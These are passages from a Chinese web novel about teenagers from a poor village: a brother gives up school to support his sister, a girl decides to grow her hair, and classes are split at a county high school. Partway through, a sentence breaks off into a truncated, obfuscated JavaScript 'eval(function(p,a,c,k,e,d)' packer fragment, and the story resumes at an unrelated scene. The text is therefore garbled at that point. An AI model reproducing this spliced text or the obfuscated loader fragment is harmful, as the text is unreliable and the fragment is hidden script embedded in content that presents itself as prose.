王大元用力闭一闭眼,睁开:“登高,你眼光要放长远一点,职高……再怎么也算是高中,只要你读出来,就和现在不一样。你现在不懂,以后就明白了。” “爸,”王登高虚起眼睛,表情忽然变得古怪,“你不会还想着要我考大学吧?” 王大元没有否认,但明显他也觉得这个想法太过痴人说梦,浑浊的目光不自然地闪烁一下。 “爸,你这也太……想得太美了。我连高中都考不上,读个职高就能考大学了?怎么可能嘛!我真不是读书的料,你又不是不知道我读书啥样,我努力了,我真的努力了,但是书上那些玩意儿我就是记不住,我的脑子就那样了,没法的事儿!” 王登高喘口气,继续道:“而且你总说什么看长远看长远的大道理,我听得耳朵都起茧子了!爸,这些大道理真没用,谁不知道看长远啊?问题是我们家的情况,怎么看?妹妹还那么小,你身体又不好,我不去打工,谁来撑起这个家?” 说到妹妹,王登高情绪控制不住地激烈起来:“职高的学费多少?一两千?不贵倒是不贵,问题是家里还欠着大叔三叔他们钱啊!总不能再去借!不借钱,你拿什么交学费?砸锅卖铁送我去上学,那我妹咋办?她咋活?她成绩那么好,我们俩砸锅卖铁把她供出去才是真的!” “你妹妹她……”王大元手指握紧,忽然间握住旁边的拐杖用力一挥,毫无征兆地爆发,“你妹才四年级!四年级看得出来什么成绩!” “四年级怎么了?”王登高毫不示弱,猛地站起身,“我四年级的时候门门不及格,她四年级门门考满分,我就看得出来她成绩好!她是读书的料子,她和我不一样!爸,我们不能耽搁她……” 说到最后几个字,王登高气势忽然弱了,喉咙里颤巍巍挤出几个音节。他的眼眶染上红,他下意识抬手想擦擦眼,又忍住了。 王登高看见,父亲握着拐杖的手也在颤。 他长长叹一口气,语气变缓;“爸,我这个人没什么大的理想,我就想我们一家轻轻松松地过日子,我就想让你不那么累。妹妹她读书好,我就供她读书,只要她愿意读,我一直供她都行,我不想拖累她。” 王大元低着头,手指松开,一点点把拐杖放到膝盖上,手肘无力地撑在拐杖上。 王登高知道父亲被自己说动了,急忙接着道:“爸,我不知道你怎么想,但我每次听到村里人说起我们家,我都觉得心里像针扎一样疼。我就想出去打工,赚钱,让我们家过好一点。” 王大元叹气:“我们过我们的,干嘛在意别人说的话?” “我干嘛不在意!”王登高眼睛瞪圆,差点又一次暴起,但他语气再怎么凶,也掩不住喉咙里的哽咽声,“爸,你是不知道他们说的啥,说我家穷就算了,我承认,我接受,我们本来就穷!但他们还说我妹,说妹妹被我们养得乱七八糟,没个女孩样,说她生在我们家是造孽,还有人说她不是亲生的!不是我王家人!” “爸——!” 王大元依旧埋着头,在王登高看不到的角度,他的眸中暴起一抹熊熊燃烧的怒火,却又很快熄灭,变成写不尽的歉疚与自责。 王登高再次蹲下身,声音很累: “爸,我们已经亏欠妹妹很多了。”
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“那现在要不要考虑考虑?”李老师眉目温和,“短发没什么不好的,我只是觉得,林羽翼,你长得乖,把头发留长了一定也好看。要不要试一试嘛?你都没试过,怎么知道自己不喜欢呢?等自己亲自体验过了,到时候要是不喜欢的话,再剪短也不麻烦,你说呢?” “我……老师,我考虑考虑。” 林羽翼说要考虑,就真的为这事儿冥思苦想好几个课间,一直到体育课自由活动时,她还在挣扎纠结。 申树不知道和史小诺去哪儿了,刘明回教室写作业去了,操场上只有林羽翼和师涟两人一块儿瞎晃悠。 “师涟……”林羽翼晃着师涟的胳膊,软绵绵地靠在她肩膀上,慢吞吞地开口,“李老师建议我留长发,她说,我留长发也会很好看。” 师涟偏着头,认真上下打量林羽翼的脸。这时因为剪头发而纠结、拿不定主意的林羽翼,就像一只可怜巴巴耷拉着尾巴的小狗狗,自己心里没有底,就想着依赖着别人,从别人身上汲取那么一点点的勇气。 平时看上去那么勇敢果断的一个人,心里怎么就这么脆弱呢? 脆弱到……有点可爱。 让人怜惜。 林羽翼被师涟盯得耳根发红,忍不住往后退一小步。 师涟终于轻声道:“我觉得李老师说得对。” 晴朗阳光照耀下,师涟眸中映着一层琥珀色的光。林羽翼看着师涟眼里的这层璀璨光点,只觉得自己从外到里都被看透了,整张脸都在烧: “可是我、我我我……我不知道要不要留长发。村里的亲戚总是催我留长发,总是说我头发长长后会很好看,所以我、我,我不太想……” 村里亲戚说她留长发好看,和李老师说她留长发好看,意义完全不同。村里人夸完林羽翼好看,下一句话总是—— 你以后出落成大美女,轻轻松松就能找个有钱人嫁了,多好啊。 这话让林羽翼觉得不舒服,尽管她知道亲戚们没有恶意,尽管她挑不出这话有什么毛病,可她就是觉得不舒服。 这是她一直抗拒留长发的原因之一。 想到这儿,林羽翼心里又有点儿慌张无措,李老师说得对,她看起来大大咧咧什么都不在乎,其实心里总容易乱想,说话做事儿总容易被别人的评价影响到。 林羽翼看言情小说的时候,总是会共情那些脆弱易碎的女主角,因为她自己都觉得,自己和那些女主角一样,有着“玻璃一般的易碎心脏”。 可她不是小说主角,她只是一个普普通通的乡下女孩,她不可以脆弱易碎。 “林羽翼,”师涟向前一步靠近林羽翼,牵住她的手,微微弯腰,从下往上以仰视的角度看着林羽翼脸颊,轻声说,“那你自己呢?你想要试试留长发吗?” 师涟的眼睛离她很近,眼里的光直逼她的眼眸,逼着她去自己内心最深层探究、挖掘。 “我……” 林羽翼忽的意识到,她要是不想,又怎么会纠结这么大半天呢? 既然她想,那干嘛要被别人的闲话影响? ——成事在人,那个人只能是她自己。 努力学习也好,留长发也好,最终做决定的都只有她自己。她要不要去做,只取决于她想不想做,干嘛要在乎别人怎么说? “我想!”林羽翼重重点了头,可激情褪去,她依旧有一点点犹豫,“可是我真的不太会梳长头发,更不会扎头发。短发就已经被我弄得很乱了,长发不知道得有多灾难。” 师涟脸上漾起轻笑:“我教你。” 林羽翼心虚道:“教不会怎么办?” “你那么笨吗?”师涟唇边抿着清浅笑意,伸手,指尖停在林羽翼脸颊边,没有戳下去,不着痕迹地往下,落在林羽翼肩上,“教不会的话,我每天帮你梳头,帮你扎头发。林大小姐——你觉得这样如何?” “嗯……”林羽翼拉长声音思考片刻,蹦跳地挽起师涟的手,“行吧!师涟,还是你最好啦。” 下课铃响,林羽翼紧紧挽着师涟的手臂,脑袋恨不得黏在她肩头,和她一块儿沿着跑道走向操场出口。 宽阔球场上,有人踢出一道漂亮的弧线,足球破风般划过大半个球场,辽远的天际,一只苍鹰轻啼破云,翱翔而过,秋日午后温婉的阳光从云层中洒落,洒在两个相依的少女身上,落下一道短短的影子。 这道影子越来越短,直到被教学楼的阴影遮蔽,连带着她们的背影一同消失在操场尽头。 20.第7章 成事在人。 那个人只能是我自己。 无论别人怎么说,别人怎么看,最终的结果只能由自己决定。 林羽翼抱着这样的信念,度过了高一上学期最后的时光。 每天白天,林羽翼抑制住发呆走神的冲动,抓紧课堂上的每一分每一秒,要么认真听课,要么按照自己的安排刷题学习,把时间利用到极致。 到了晚自习,林羽翼则和师涟、刘明二人组成学习小组,在师涟的带领下,一块儿复习、预习,互相辅导,查漏补缺。 申树和史小诺呢?以前这两人跟着一起学了一段时间,没几天,又悄无声息地回到角落里,两个人自成一个小世界,将其余人隔离在外。 晚自习下课回寝室后,如果时间还早,林羽翼会点着小台灯灯再看会儿书,背一背当天学到的知识点,就连入睡时,都在大脑里一遍遍回顾着当天所学的知识。 只有周末的时候,林羽翼会稍稍放松一些,到学校外的租书屋租一本小说,躺在寝室囫囵地啃完整本书。 这一次,她的的确确为学习付出最大的努力,而且坚持了整整一个学期。 林羽翼常常在小说里看到这么一句毒鸡汤:“不是所有的努力都有结果,就像丑小鸭能变成白天鹅,是因为它本来就是天鹅,而不是因为它的努力。” 但事实证明,毒鸡汤只能是虚无缥缈的毒鸡汤,努力怎么可能没用呢? 深秋,半期考,林羽翼在年级上排六十三名,在班级排名里到达中等。 初冬,第三次月考,林羽翼年级排名第四十七名,第一次领到了每月一百二十元奖学金。林羽翼拿这笔钱,请哥哥和小刘姐姐吃了顿“大餐”,广都城里新开业的德克士呢! 深冬,期末考,林羽翼年级排名第二十七。下学期一开学文理便会分科,林羽翼毫无疑问选择的理科,而抛开文科成绩后,只算语数外与理综分数,林羽翼的总排名是: 年级第九名。 班里第五名。 看到成绩的那一刻,林羽翼心里竟然没有什么波澜,她知道这是自己应得的。反倒是杨老师红了眼眶,感慨地用力拍拍她的脑瓜子: “林羽翼你这家伙!行啊行啊,以后也给我保持着!你要能一直考这个分儿,上川大没有问题,说不定以后还能冲一把清北,啧啧啧,不错不错!” “杨老师,你别把我头发弄乱了。”林羽翼不满地揉揉被杨老师拍得生疼的脑袋,几个月过去,她的头发已经完完全全盖住耳朵,快要长到肩膀,她以前从来没认真理过头,头发长得参差不齐,最长的那几缕还微微发卷,像狼尾巴似的。 林羽翼头发留长了些,不仅没有一丝齐肩妹妹头的乖巧劲儿,反倒比以前短发时更像个生命力旺盛的小少年。 “你这头发……!你还好意思说乱!”杨老师扶额,“林羽翼,过年回去好好理一理头!要么给我剪短,要么努力给我留长点儿,把头发扎起来,现在这乱得像什么样!” 杨老师骂骂咧咧说完林羽翼,转头面对旁边的师涟,脸上立马堆起和善的笑:“小师涟,不错不错,下学期继续保持啊。” “好的。”师涟平静点头。 师涟这次依旧是第三名。 年级一二名永远在争来争去,每次考试都换一个人,但师涟永远都在第三。她好像从来没兴趣去争第一第二,但又绝对不会从第三名落下去。 “师涟……”杨老师忽的压低声音,沉沉道,“下学期就分文理科啦,紧接着就要考虑目标志愿的事儿,你有没有什么想法?早早给自己定个目标?努把力冲一冲清北,怎么样?” “我会的。”师涟的回答依然平静简洁,就连杨老师这种圆滑的大人也看不出她究竟在想什么。 什么叫“我会的”?是会努力考清北,还是仅仅会考虑这件事儿?杨老师眉头微蹙,重重叹口气:“师涟,我知道你心里有打算,但是不管怎么说,努力一把总没错吧?那可是清北啊!” “老师,我会努力的,但考清北这种事……”师涟眸中漾起无奈的笑,“不是我能说了算。” “去去去,你都没试一试,就打退堂鼓啦?”杨老师气得直嘘嘘,“你啊,看着倒是成熟稳重,心里头怎么和林羽翼一个样!” “喂杨老师,你什么意思?我明明已经很努力了!”林羽翼插话道。 “懒得跟你说。”杨老师抿口热茶,心口起伏逐渐平静,“总之呢,你们既然是一个村儿的,放假后还是要互相多照应照应——我指的是学习上,接下来两年时间里,你们好好学习,一起努力,争取考上同一所大学,继续互相照应嘛,不好吗?” 当然好。 对林羽翼这个年纪的少年少女来说,“考好大学”是一件非常抽象的事情,比起“好大学好工作赚大钱”这种遥远的目标,反而是“和好朋友一起考进同一所大学,永远不分开”更具吸引力一点。 于是寒假初期,林羽翼没有急着回家,她跟师涟一块儿到广都酒店,一块儿帮孙阿姨干干杂货,有空时就缩在角落一块儿学习。直到新年前夕,她们才各自回家。 …… 林羽翼不喜欢新年。 去年新年,她和哥哥陪着父亲在病床边度过,窗外烟花声震耳欲聋,可她只能焦心地守在父亲身旁,看着他时不时起身痛苦地咳出黑色血点。 父亲的咳嗽声被烟花声掩盖,林羽翼只能看见他无声地咳,咳得脸部的褶皱堆到了一块儿,原本凹陷的眼眶像是要被挤出来,咳到后面,因为缺氧,苍白的嘴唇不知何时变成青紫色。 林羽翼听着窗外烟花轰然炸开的声音,只觉得每炸一下,仿佛都炸在自己心口,噼里啪啦地在那里炸出一道道裂口。 疼得要命。 今年的新年,家里只有林羽翼和哥哥两个人。尽管兄妹两努力把院子布置得红红火火,王登高还特意买了烟花在除夕夜里放,可真正到了大年夜,兄妹两坐在小院的门槛上,看着院子里五颜六色的烟花满地乱窜,听着噼噼啪啪的声音,却依旧觉得冷清。 “哥……”林羽翼点燃一根仙女棒,缓缓地在面前挥舞,她看着火光在夜色里留下的痕迹,闷闷地问,“你怎么不带小刘姐姐回来过年呢?” “哪儿有那么快?”王登高猛地坐起身,脸颊通红,过年这几天,别的亲戚总是来催问他恋爱的进度就算了,怎么自家妹妹也跟着学坏了? “我和你小刘姐姐才认识半年!还早着呢!” “半年……也不短吧?我们班上……”林羽翼及时住了嘴,改口问,“哥,谈恋爱是什么感觉?” “耍朋友嘛,当然是……”王登高脑袋自豪地扬起,话还没说完,忽然警觉地皱起眉头,埋头狐疑地盯着林羽翼,“小鸟,你好奇这干嘛?怎么,你想谈恋爱?你们班上有哪个男生招你喜欢了?” “哥你瞎说什么!”在哥哥恐怖威压的目光下,林羽翼不得不出卖申树二人,“我刚才想说,我们班上有两个同学,才认识一个多月就在一起了!光明正大地谈恋爱!还见家长了呢!所以我好奇嘛,哥,你和小刘姐都大半年了,你们谈恋爱是什么感觉?甜甜蜜蜜吗?” 王登高死死皱着眉,可他的皮肤骗不了人,小麦色的脸皮红得透彻。 “嗨呀,小孩子懂什么甜蜜不甜蜜的?”王登高用力一摆手,“你们班同学早恋我管不着,但林小鸟,你可别跟着瞎学!高中三年你要敢和哪个男孩子谈恋爱,老子打断你的腿!” “我知道!我不会!我没兴趣谈!”林羽翼被惹得炸毛,跳起来吼,“王登高你别把话题往我身上拐!你就这么信不过你妹妹吗!” 兄妹两互相吼了一通,各自安静下来,盯着院子外的夜空发呆。 远处的烟花依旧炸个不停。 一簇簇七色焰火在深蓝如玻璃的夜幕上炸开,留下淡淡的痕迹,然后消散。 许久,王登高的手掌落在林羽翼脑袋上,轻轻地揉了揉。他垂眸,认真道:“你知道的,哥哥是一个比较急躁的人,我自己管不住自己,我只觉得,平日里我那颗心脏总是慌慌张张地跳啊跳,跳得我害怕。” “可是和你小刘姐姐在一起的时候,心脏它忽然不慌了,打个比方,就好像一条在浪花里上下乱蹦的小船,忽然回到了听不见声音的码港里,整个人都觉得安静了,我觉得这就是恋爱的感觉。哈,我还是第一次说这么肉麻巴巴的话,恶心死了。林羽翼,你现在还小,等你长大就明白了。” 林羽翼睁着黑溜溜的眼睛,无言看着王登高,说到“小刘姐姐”四个字时,他脸上很自然地流露出一种从未有过的柔软情愫。 林羽翼的确不明白这种柔软的感情从何而来,她只觉得心里有一点点酸。如果说,对哥哥而言,小刘姐姐是那个能让他停靠的港湾,那是不是说明,他再也不需要现在这个家了呢? 恋爱这件事,就是离开以前的家人,去和一个新的家人在一起吗? 如果是这样,那么林羽翼希望自己永远不要明白,永远也不要喜欢上谁。 …… 林羽翼同样不喜欢开学。 尤其是回到学校后,她满心期待地拉上师涟一起去装点宿舍,却得知师涟从这学期开始不再住校的消息时,林羽翼像一只泄了气的小狗气球,不跳也不闹腾,呆愣愣站在原地,眼巴巴看着师涟。 “为了方便照顾我学习,我妈在广都镇上租了套房子,我爸以后来广都见我们的时候,也能有个落脚点。其实……我不太赞同,你知道我家的情况,我总觉得我妈这是在浪费,可我实在拗不过她。”师涟牵着林羽翼的指尖,低头,没敢看林羽翼表情似的,沉默片刻后说,“我妈托我邀请你,要不要和我一起出去住?我俩住一个房间。” “不用了。”林羽翼想也不想便摇头,“多麻烦你们呀。” 她舍不得师涟,可是就如师涟说的那样,师家的情况她很清楚,师叔叔努力在外打工,勉强维持着家里的开销,孙阿姨在广都大酒店工作了半年后,家里经济情况终于好转一些,有了结余,才堪堪能在广都镇上租房,估摸着也租不了太大的,反正和史小诺租的小区房肯定不一样。 师家一家三口住在小房子里,已经很挤了,林羽翼哪儿有脸跟过去? 林羽翼了解师涟,也了解孙阿姨。孙阿姨租房是为了给师涟更好的学习环境,而师涟最终同意租房这件事,是为了让孙阿姨夜晚能好好休息——林羽翼跟着师涟在酒店休息间住过,知道那里有多吵,在那种地方住一两个晚上还好,可要是住久了,身体遭得住才怪。 师涟似乎早就预料到林羽翼的回答,她低着头,在林羽翼看不到的角度,唇角落寞地往上勾了勾。 师涟没有让林羽翼察觉到自己低落的情绪,她语调轻轻上扬:“以后你有什么想吃的早餐,我从学校外面带给你。” “头发呢?”一个寒假过去,林羽翼的头发已经勉强能扎个小辫,她一个人可不会扎头发。 “我提早到学校,帮你扎就是了。”师涟眼中浮现出一层无奈的笑意,“你手怎么这么笨?还没学会扎头发呢。” “就是笨嘛,我有什么办法。”林羽翼嘟囔,“而且……既然有人愿意帮我梳头发,我干嘛要自己动手?” “好好好,林大小姐。”师涟轻笑。 林羽翼蛄蛹着身子蹭到师涟肩膀处,不舍地蹭啊蹭。 林羽翼与师涟即将迎来夜晚的分别,班里的其他同学,同样面临着分别—— 今天是高一文理分班的日子,这会儿分班表还没出来,但有人早已笃定了自己不能留在一班,还有人则是选择了文科,正在和班里的朋友告别。 嘈杂的笑闹声中,夹杂着隐约的哭声。 林羽翼不由得担心,她和师涟当然能留在一班,刘明期末考成绩也不差,以理科年级二十一名的排名紧追在她后头,可是申树和史小诺两人都很危险。 申树理科年级五十七名,理综低得一塌糊涂,全靠一百四十多分的语文把总分给抬上来,史小诺每一科成绩都中规中矩,没有短板也没有长项,所有科目加起来比申树还要低两名。 林羽翼往前排看了眼,他们两显然也在紧张,课桌下偷偷牵着的两只手牵得很紧很紧。 没多久,杨老师拿着一沓小纸条走进教室,他被教室里的声音吵得直皱眉,深呼口气,眼看就要发泄出来,又生生忍住,招呼第一排的同学把纸条发下去。 纸条很快发到申树和史小诺手里,林羽翼盯着他们的表情,顾不得会不会打扰他们,急切地把脑袋往前探:“怎么样?” 申树盯着自己的那张小纸条,又盯向史小诺的那张,盯得林羽翼心都焦了,许久,申树脸上才绽出一抹笑:“我们留下来了。” 还好,一班虽然是尖子班,学校领导倒也没有丧心病狂到把年级前五十名全部塞进一班。 史小诺脸上倏地勾起松快的笑,脸颊上两颗酒窝漾起,轻松得仿佛浑然不在意似的,不过他陡然紧绷又缓缓放松、最终瘫靠在椅背上的身躯,终究暴露了他的真实想法。 “好耶!”林羽翼眼睛亮晶晶的,双手激动地和揽住师涟脖子,身体软软地赖在师涟身上,“五人组不用解散啦!” 前排,申树和史小诺的手再次在课桌下悄悄牵到了一起,申树笑得温和,安静与史小诺对视着,眉目间情愫柔软缱绻,一个寒假过去,他们的感情似乎完全没被时间冲淡。 后排,刘明埋着脑袋专注地捧着一本英文书看,丝毫没受教室里各种声响的影响。 新学期伊始,好像什么都没有变。 紧接着,校园广播里响起分班通知,班级里躁动的声音倏地更大了,除了说话声,脚步声、板凳摩擦过地板的声音此起彼伏。离开的人前脚刚走,一个个陌生的面孔便出现在教室外,生涩地往里张望,在杨老师的招呼下,他们拘谨走进教室里找空位坐下,于是又是一阵桌椅搬动声。 约莫小半个小时,教室里各种声音才渐渐消散。 接下来又到自我介绍和分组环节。 讲台上的杨老师不知何时板起脸,眼睛压成锋利的菱形,双手摁在讲台上,俯视一圈:“高一下学期,我们就不搞上学期那套虚头巴脑的东西,自我介绍干嘛?你们接下来朝夕相处相处两年多,还怕不认识同学?下课后,一班的老同学热情主动点儿,带着新同学熟悉熟悉,现在我点个名,就当大家介绍过了啊。” 杨老师语气激昂:“一班是尖子班,尖子班是干嘛的?就算不瞄准顶头的清北,你也得奔着川大去!总不能最后跑去隔壁川农吧?” 川城农业大学其实并不差,是省里为数不多的211大学之一,只是在别的211大学里,它的收分线显得稍稍有那么一点儿可怜,屡屡被杨老师用来调侃说:“要是上不了川大,你们就只能去隔壁川农种地养猪!” 当然,调侃归调侃,大家心里都清楚,广都中学这等学校,就算是尖子生一班,也不一定全部学生都能考上川农的分数线。 “上学期我们这个尖子班里其实有点儿水分的,但这学期开头,分班结束,水分已经被沥完了!沥到别的班里去了!剩下的所有人都是黄金,是从沙子里筛出来的金子!从今天开始,你们别的什么也不要管,只管把学习两个字放在第一位。” 杨老师冷冽的目光在教室里扫一圈,整个教室立马变得鸦雀无声,只听得教学楼里别的班级狂欢般的叫闹声。 林羽翼坐得笔直,心里也跟着热血沸腾,在心里发誓一定要和上学期一样,坚持着好好学习。 杨老师训几句话,等到班里学生精神状态调整得差不多,腰杆都挺得笔直,目光都坚毅笃定的时候,他才满意地吐口气,开始点名。 这会儿已经接近十点,可是一通点名过后,竟然还有两个同学没到。 一个是张通蜀。 另一个叫张潇扬,杨老师点到她时,额外多介绍了一句:“张潇扬是从别校转来的新生,等她待会儿到校了,你们有空多带带她熟悉校园啊。” 说完,杨老师目光微沉,看向林羽翼那一组的方向,他冰冷的目光把林羽翼吓一大跳,发现他没在看自己后,林羽翼才松口气。 杨老师在看申树和史小诺。 这对小情侣显然没想到杨老师会突然看他们,前一秒,他们还在你侬我侬地对视。下一秒,两人同时慌乱地移开目光,一时不知道该往哪儿瞟。大少爷史小诺向来带着轻快笑意的脸颊,竟然被吓得惨白。申树的眼瞳则像一只无措的小鹿似的,楚楚可怜地眨着。 不仅他俩,班上其他同学也都紧张地屏住呼吸。 大半年了,班里谁不知道申树和史小诺在早恋?各种风言风语都传遍了。 班里人不仅知道他们早恋,还知道他们已经过了明路,见了家长,史小诺妈妈都不在意他们谈恋爱呢。 上学期,杨老师明摆着睁一只眼闭一只眼,怎么的,新学期新气象,一开头就要拿他们开刀? 杨老师并没有发火,他只是沉声道:“史小诺,你坐到张通蜀的位置去。” 他的语气很轻,但丝毫不容反抗:“师涟,张通蜀到校后换到你们组,新同学张潇扬也在你们组,其余几人不变。” 林羽翼呆住,她半小时前还在庆祝五人小组不散呢,这才多久就被杨老师拆开了。 史小诺埋着脑袋,沉默地起身收拾书包,申树下意识想帮他,却被杨老师一声冷笑逼了回去。 杨老师声音冷如寒冰:“上学期我是不管分组这件事的,在我看来,你们一个二个十五六岁的,已经是半个大人了。我觉得你们自己知道自己该干嘛,我只管看着你们学习,社交上的事情我不该干涉,但是呢……” 杨老师冷呵呵地笑一声:“我看嘛,现在是不得不管了。” 杨老师不再说话,班级里立刻安静得掉一根针都能听见。史小诺沉闷地单手拎着书包,走到张通蜀的空位上,“刺啦”一声拉开板凳,声音异常刺耳。 “好了,自习吧。”杨老师拧开保温瓶盖,满意地抿口水。 林羽翼埋下脑袋,闷闷从抽屉里拿出课本,还没来得及翻开,她听见杨老师哒哒哒不紧不慢的脚步声,越来越近。 杨老师停在她桌前,敲敲桌子: “你们来趟办公室。” 杨老师说完,背着手离开。 班里其他同学默默向林羽翼投来怜悯的目光,林羽翼怔怔的,她、她怎么了?怎么开学第一天就被喊去办公室?而且“我们”又是谁?杨老师你好歹把话说清楚啊! 林羽翼下意识看向师涟,师涟立马陪着她起身。 林羽翼迈着碎步躲在师涟身旁,忐忑不安地走进办公室,杨老师坐在旋转办公软椅上,拿着保温水杯,脸上冰霜一扫而空,竟然笑眯眯的:“小羽翼,小师涟,来,坐吧。” “……”林羽翼起了身鸡皮疙瘩,杨老师这真真是变脸比翻书都快。 杨老师喝口茶水,直入正题:“叫你们来办公室,主要是想和你们聊聊这次分组的事情。师涟,我先问你吧,你们组里有两人在谈恋爱,你作为组长,有什么看法?” “……没有看法。”师涟的回答简洁明了。 林羽翼老早就知道师涟会这么说。 她自己对申树二人还存了点儿八卦的心思,可师涟真是完全不关心,别说牵手这种事情了,林羽翼估摸着,就算是他们当众亲嘴儿,也分不走师涟一点儿注意力。 “咳、咳咳……!”杨老师却被师涟的回答呛得一口水喷出来,“好好好,师涟,你是组长,你们组里有人早恋,你就丁点儿不管是吧?你一点儿不在乎是吧?那你换位想想,要是谈恋爱的是林羽翼呢?你会怎么想,你会怎么做?” “——?”林羽翼眼睛瞪圆,关她什么事?怎么就扯到她身上了? 师涟镇定地摇摇头:“她不会的。” 杨老师追问:“如果会呢?” “没有如果。” “没有如果!” 林羽翼和师涟异口同声。 “必须有。我就打个比方,林羽翼,你激动个什么?”杨老师沉沉吸一口气,眼看就在爆发的边缘,强行忍住了,沉声道,“师涟你说,如果恋爱的是林羽翼,你会怎么做?” 办公室里安静片刻。 “我会告诉她哥哥。”师涟微笑,声音毫无起伏,听着有点吓人。 “是嘛!这才对嘛!”杨老师仰头灌一口水,猛地一拍桌子,“早恋这事儿有什么危害我就不多说了,我知道你和林羽翼都懂。刚才我问那些问题,主要的意思是,师涟,你作为组长,不能那么冷漠,不能对组里发生的事情视而不见,你得团结组员,照顾组员,管着组员,怎么管呢?就把他们都当成林羽翼来对待嘛!” 告诉她哥哥?这么不留情的吗?杨老师笑呵呵的,林羽翼却陡然呆住了,目光犹疑地往师涟身上瞟,看着师涟毫无情绪波动的面部表情,她心里忍不住有点委屈。 “这次早恋的事情就说到这儿了,总之呢,师涟,你作为组长,以后要团结组里同学,照顾他们的同时呢,也得严厉一点,把他们管得紧一点。好了,说说你们组里的新同学吧。张通蜀他——你放心,他是绝对不会搞幺蛾子的类型,他比你——比林羽翼要懂事得多。但是呢,可能因为家里的原因吧,唉,你们知道他家在川西北的山里,他这个人是有点愣,处理事情的时候脑子转不过弯,说话口音又有腔调,上个学期,他压根没怎么融入我们班。所以我就想着,你和林羽翼一块儿带带他,成不?” 杨老师话音一落,林羽翼的脑海里便浮现出那个黑瘦少年的身影,上学期,他们在国庆节的时候都没回家,一起在教室里学习了几天,之后便没有联系了。 记忆中,张通蜀是个很刻苦的人,每节体育课他都翘课在教室里学习。早上总是他第一个到教室开门开灯,晚自习结束后总是他最后一个离开。 可正如杨老师说的那般,张通蜀的脑子有点愣。 拼死拼活地努力学习一学期,他期末考的理科成绩也才年级四十来名,在一班排行中下。 他似乎没有什么朋友,总是独来独往,养成习惯般埋着头在房屋边缘的阴影里走路。他们组有四个男生,以前有次小组换位,林羽翼一组挨着张通蜀一组,她无意间听见那几个男生笑呵呵地学张通蜀的语调说话。 张通蜀只是倔强而沉默地埋着头。 林羽翼能够与他感同身受,她知道,那些个模仿他的男生其实没多大恶意,十六七岁男孩子间的玩笑嘛,只要张通蜀笑呵呵地附和一两句,也就过去了。 就像她在村里时,那些亲戚总是笑呵呵地调侃她的姓氏,说她不是王家人一样,他们其实没有恶意,她只要对他们笑一笑,事情就过去了。 可是……怎么笑得出来呢? 那些话像刺一样扎进心窝里,扎得那么深,怎么笑得出来呢? 林羽翼和张通蜀不熟,但她每每看到那个黑瘦的身影,心里总会不自知地浮现出一丝……怜悯的情绪。 所以这时,林羽翼没有打趣,而是认真点了头。 杨老师目光感慨而温和,他一直知道林羽翼懂事,不,与其说是懂事,不如说是心思细腻。去年开学第一天,他就看出来,林羽翼这丫头暗戳戳照顾着刘明,一学期过去,还真就把刘明带得开朗不少。 林羽翼这小姑娘,只要能彻底抛去那层浮躁的外壳,完完全全地沉下心去做事,以后必定有大出息。 “然后呢,你们组还有个新同学张潇扬,她嘛……”杨老师头疼地揉揉太阳穴,“算了算了,我懒得过多介绍,你们见到她之后就明白了,总之,师涟你要负起组长的责任,把她给看牢!” 说完,杨老师从兜里摸出钱包,从里面翻出一张红票子,往二人身前递。 “杨老师你、你你……你贿赂我们啊?这钱我们可不能要!”林羽翼下意识摆手,拉着师涟后退一大步。 “贿赂个……!”杨老师差点说脏话,“林羽翼,你想什么呢?谁说这钱是给你的?师涟你过来。” 他看一眼墙上的挂钟:“张通蜀的火车十二点半到蜀都,你和师涟,还有小刘明,你们三赶车去火车站接他,帮忙提提行李,然后一起在城里吃顿午饭,再赶车回来,下午两点半上课前回到教室啊!对了,接到人之后记得找电话亭给我报个平安啊,这是给你们的路费和饭钱,没问题了吧?” “哦——这、这倒没问题,谢谢杨老师!”林羽翼滑头地露出笑,小虎牙可爱极了,忽然她意识到,“杨老师,申树呢?申树不和我们一块儿去吗?” “申树不去。”杨老师语气严肃,“待会儿你们出发的时候,叫申树来办公室。” 林羽翼默默和师涟对视一眼,在心里替她默哀。 不过杨老师对班上的女孩子一向要温柔一些,应该也不会训得太过分吧?林羽翼想着,杨老师是不是嘴硬心软的那类人呢?在教室里,他口口声声说着在一班,学习才是最重要的,一副不在乎学生社交生活的样子,可他又偷偷关心着内向的刘明,同时察觉到张通蜀融不进班级,在私下叮嘱林羽翼和师涟照顾他,还拿钱请他们吃饭。 杨老师人真挺好的。 林羽翼回教室叫上刘明,拿着杨老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们……到蜀都城中心了!”林羽翼迫不及待将脑袋伸出车窗,目光上探下探遥望天府广场。 广场很大,比广都中学的操场大了好几倍,从车上远距离望过去,广场上的人影就像是一个个黑芝麻点。广场周围是一片很开阔的天地,却并不是广都城里那样被农田包裹着的开阔,而是被一座座直冲云霄的摩天大楼包围,干净宽敞的马路四通八达,将那一栋栋大楼分割开。在这里,不管是往上看高楼顶端,还是往左往右看马路尽头,仿佛都看不到底儿,“距离”二字仿佛失去了意义。 一下车,林羽翼恨不得在广场周边大喊着跑上几步。 这里和广都城完全不一样,广都城也繁华,可那是人市井拼凑出的繁华,这里的繁华才更像是未来的繁华嘛,宽阔的广场、数不清的摩天高楼、四通八达的泊油路,满足了林羽翼对现代科技的一切想象。 新村那鸟不拉屎的地方就不指望了,要是广都有一天能像这里一样繁华就好了。林羽翼往前蹦跶,想更近距离地看一看那座雕像,看看周围的高楼,却一下子被师涟拉住衣领扯回公交站口。 “车来了。”师涟无情地拉着林羽翼上车。 他们在天府广场下车是为了换乘另一路公交,接下来还得坐半小时车去火车站。 林羽翼整张脸几乎贴在窗口,眼巴巴地看着那些高楼大厦越来越远,忽的好奇地问,“师涟,刘明,你们坐过火车吗?车站是什么样的?火车又是什么样的?” “小时候跟爸爸回沿海老家时坐过。”师涟一句话浇灭林羽翼对车站的向往,“火车站……很乱,很杂,比广都镇上电影院一条街还要糟糕。” “火车上很脏,很臭,厕所里到处都是排泄物的污点,车厢里很吵……” 刘明无声地点点头,表示附和。 林羽翼失望地“啊”一声,随即好奇地问刘明:“你也坐过火车吗?去哪儿?好玩吗?” “初中……和同学……去北京参加夏令营。” “北京……”林羽翼眨巴眼,回忆着在电视机里看到过的景点,“是不是比蜀都还要繁华许多?” “嗯。” “你去天安门了吗?去了吗去了吗去了吗?” “嗯。” “长城呢?爬上去了吗?” “嗯。” “好玩吗?” “我……”刘明没再点头,“我不喜欢出门。” 这倒是意料之中。 